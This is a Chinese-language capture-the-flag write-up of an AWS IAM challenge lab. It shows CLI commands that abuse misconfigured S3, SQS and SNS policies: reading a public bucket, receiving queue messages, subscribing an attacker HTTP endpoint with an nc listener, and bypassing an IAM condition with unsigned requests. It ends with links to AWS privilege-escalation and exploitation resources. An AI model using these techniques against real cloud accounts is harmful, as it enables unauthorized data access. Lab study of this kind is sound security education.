aws靶场
在AWS靶场中,存在三个安全问题:1) 一个S3存储桶政策配置错误,允许公共访问,通过访问特定域名可获取flag。2) SQS消息队列的政策没有限制角色,允许发送和接收消息,通过aws sqs
命令行工具的receive-message
接口最终找到flag。3) SNS主题订阅政策过于开放,允许任意Endpoint订阅,使用HTTP协议订阅并结合AWS CLI的sns confirm-subscription
命令获取完整响应,从而得到flag。最后一个挑战涉及存储桶的IAM策略,通过aws s3api
命令的list-objects
接口,利用无签名请求绕过权限限制访问flag。
存储桶泄露
查看第一个policy给出了这个问题,可以允许列出桶的权限,注意看Principal 这里没有限制具体的访问角色,这里的*代表互联网所有人都可以访问的意思,公开桶。
使用s3的命令行,其实可以获取到,可以通过其他命令复制出来,aws好像是没办法直接查看内容的
想直接查看内容的话,可以直接把resource提供的域名直接拼接到aws的域名上amazonaws.com ,见此,flag已经出来了,可以下一关
SQS消息队列
查看第二个的policy如箭头所示,没有限制具体的角色,而且允许sqs进行发消息和接收消息
通过阅读官方文章,sqs这块,有这么多个接口可以搞,但是注意,这块我们的权限只有send和receive
https://docs.aws.amazon.com/cli/latest/reference/sqs/send-message.html
根据文档上的构造,那么应该是把092297851374 和 wiz-tbic-analytics-sqs-queue-ca7a1b2进行拼接
plain
aws sqs send-message --queue-url https://sqs.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2
构造好的请求直接发包,发现抱错了
还需要--message-body,那继续添加随便加上111,但是返回来的json没有flag值。那么只能从rece接收信息的参数入手了
继续查看官网文档,receive-message构造例子如下,有的参数是不必须的得在测试中得到真理
构造后进行请求,获得的响应内容多了,有个很明显的链接,访问就是flag了。
plain
aws sqs receive-message --queue-url https://sqs.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2
SNS托管式消息传递服务
SNS和SQS的区别:
- SNS: SNS 是一种发布/订阅模型,其中消息发布到一个主题(Topic),然后所有订阅了该主题的终端(如应用程序、服务、端点等)都会接收到相同的消息。主题允许多个订阅者并支持广播和多播。
- SQS: SQS 是一种队列模型,其中消息被发送到队列,然后由队列的消费者(订阅者)按照顺序处理。每条消息只能由一个消费者接收,确保消息按照顺序处理。
了解了sns的基本含义之后,我们来看题目给的policy
- Action: 定义允许执行的操作,这里是 "SNS:Subscribe",表示允许订阅 SNS 主题。
- Resource: 定义操作作用的资源,这里是 "arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications",表示允许对指定 SNS 主题执行订阅操作。
- Condition: 是一个可选的部分,定义允许或拒绝操作的条件。在这里,使用了 "StringLike" 条件,要求 "sns:Endpoint" 的值符合 "*@tbic.wiz.io" 这个模式。
还是老样子,我们查看官方的文档
那么其实sns里面有protocol参数,可以指定http请求
那么subscribe权限下,获取http订阅消息的cli参数命令示例如下
plain
aws sns subscribe --topic-arn arn:aws:sns:us-east-1:123456789012:MyTopic \
--protocol http \
--notification-endpoint http://example.com/endpoint
把题目给的参数带上发送请求
plain
aws sns subscribe --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications \
--protocol http \
--notification-endpoint http://xxx:8089/@tbic.wiz.io
对应自己的服务器起了http服务,但是虽然能获取到响应,但是没办法获取更多的响应信息
琢磨了一段时间发现用tcp起端口,nc就可以获取所有响应信息了。但是这段信息里面,是没有flag的,
但是给过来的响应,已经提示了To confirm the subscription, visit the SubscribeURL included in this message
那么查阅文档后才知道确认消息的具体格式,也可以使用 aws sns confirm-subscription 命令来手动确认订阅,提供确认消息中的 Token:
plain
aws sns confirm-subscription --topic-arn YOUR-TOPIC-ARN --token YOUR-SUBSCRIPTION-TOKEN
aws sns confirm-subscription --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications --token 2336412f37fb687f5d51e6e2425c464ced460311901b18ad7c9bd3425561759e0bc3078a08b110692b8d11f962a2f83a2a0ff5067a20d9fc029a1d03eae63ce14c57cad0caeeabdf819036410bcf82b8fb95b2d2191762491329cae004ef65d7018b0c08e0a59abfff27ddabd67bd391c0f3c9fe7f6b172bac94f2f7c5eab424
虽然爆红了,说权限不够,但是还是可以收到sns发过来订阅的消息
在nc这边监听,获取到的message就是flag了
存储桶错误配置
在下面的policy可以知道,存储桶thebigiamchallenge-admin-storage-abf1321允许的操作是GetObject和ListBucket,但是"ForAllValues:StringLike"这块只允许arn:aws:iam::133713371337:user/admin 才能访问
这块其实想了很久,一直没有办法突破。因为没有办法绕过PrincipalArn的限制,最后是查阅官网文档:如果请求中没有上下文键或者上下文键值解析为空数据集(如空字符串),则也会返回 true
那么让上下文键值为空的话,查阅s3api的文档,可以带上--no-sign-request
发送请求,我们可以获取到flag了
plain
aws s3api list-objects --bucket thebigiamchallenge-admin-storage-abf1321 --pre
fix 'files/' --no-sign-request
关于存储桶这块,我得记录一下 aws s3和aws s3api的区别 应该就是s3用的ak sk,s3api用的是sts token
记录的链接
aws相关链接
https://rzepsky.medium.com/aws-and-hackerone-ctf-write-up-4c37131f7cbb
https://mystic0x1.github.io/posts/AWS-Privilege-Escalation-Part-01/
https://mystic0x1.github.io/posts/AWS-Privilege-Escalation-Part-02/
https://github.com/BishopFox/iam-vulnerable
https://github.com/andresriancho/enumerate-iam
https://github.com/ine-labs/AWSGoat 靶场
https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/ 外国佬的知识
https://mp.weixin.qq.com/s/j8PNLwDAyoSidtuNWnYsMQ 利用AWS Lambda函数漏洞实现初始访问
下载对应的cli工具
https://aws.amazon.com/cn/cli/
/.aws/credentials
AWS漏洞利用框架Pacu
https://www.freebuf.com/sectool/190074.html
aws ssrf+cicd流程 rce 值得回味!
https://zone.huoxian.cn/d/1303-aws-elastic-beanstalk-ssrfrce
aws 攻击笔记大全
https://wiki.teamssix.com/CloudService/IAM/
aws中的iam是什么